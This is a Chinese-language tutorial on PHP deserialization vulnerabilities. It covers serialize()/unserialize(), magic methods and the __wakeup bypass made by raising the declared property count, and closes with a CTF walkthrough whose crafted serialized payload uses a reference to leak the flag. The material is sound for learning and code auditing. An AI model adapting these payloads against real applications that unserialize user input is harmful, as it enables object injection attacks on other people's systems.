PHP反序列化漏洞的简单学习
在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
PHP序列化与反序列化
谈到PHP序列化与反序列化
那么必须涉及到两个函数serialize()
与unserialize()
前者是将一个对象进行序列化后者是其反过程
serialize()
先来看看此函数的解释
函数返回的是一串字符串,可以对如数组和对象进行序列化处理
下面给出两个例子
1 | //对数组进行序列化 |
1 |
|
对于序列化后得到的字符串解释如图
unserialize()
将已序列化的字符串进行反序列,即恢复序列化前1
2
3
4
5
6
7
8
9
class name1 {
var $test1;
var $test2;
}
$str = 'O:5:"name1":2:{s:5:"test1";s:5:"hack ";s:5:"test2";s:3:"fun";}';
$ser = unserialize($str);
print_r($ser);
反序列化漏洞
看似安全的序列化其实存在漏洞,而且一旦能利用就一般危害不小,在代码审计中我们需要格外注意此类型漏洞。
序列化漏洞常见的魔法函数
1 | construct():当一个类被创建时自动调用 |
简单测试如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class chybeta{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。(这里因为懒直接照搬了某大佬的原文)
绕过魔法函数
魔法函数sleep() 和 wakeup()
php文档中定义__wakeup():
unserialize() 执行时会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。sleep()则相反,是用在序列化一个对象时被调用.
正常情况下的反序列化来漏洞如下图:
析构方法和__wakeup都能够执行
如果我们把传入的序列化字符串的属性个数更改成大于1的任何数
1 | O:7:"hpdoger":2:{s:1:"a";s:6:"u know";} |
得到的结果如图,__wakeup没有被执行,但是执行了析构函数
反序列化漏洞实战
- 南邮CTF由于我们不知道
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class just4fun { //定义了一个类
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass); //进行反序列化处理
if ($o) {
$o->secret = "*"; //这里不知道*代表的是啥
if ($o->secret === $o->enter) //要求$o中的两个属性值相同
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}*
代表的是什么,故我们需要用指针来直接使两属性相等。本地运行即可得到序列化字符串1
2
3
4
5
6
7
8
9
class just4fun {
var $enter;
var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret; //这里的a=&b 即代表将b的指针赋值给a 无论b的值怎么变 a始终等于b
echo serialize($o);O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
然后将此作为pass参数GET发送即可获得flag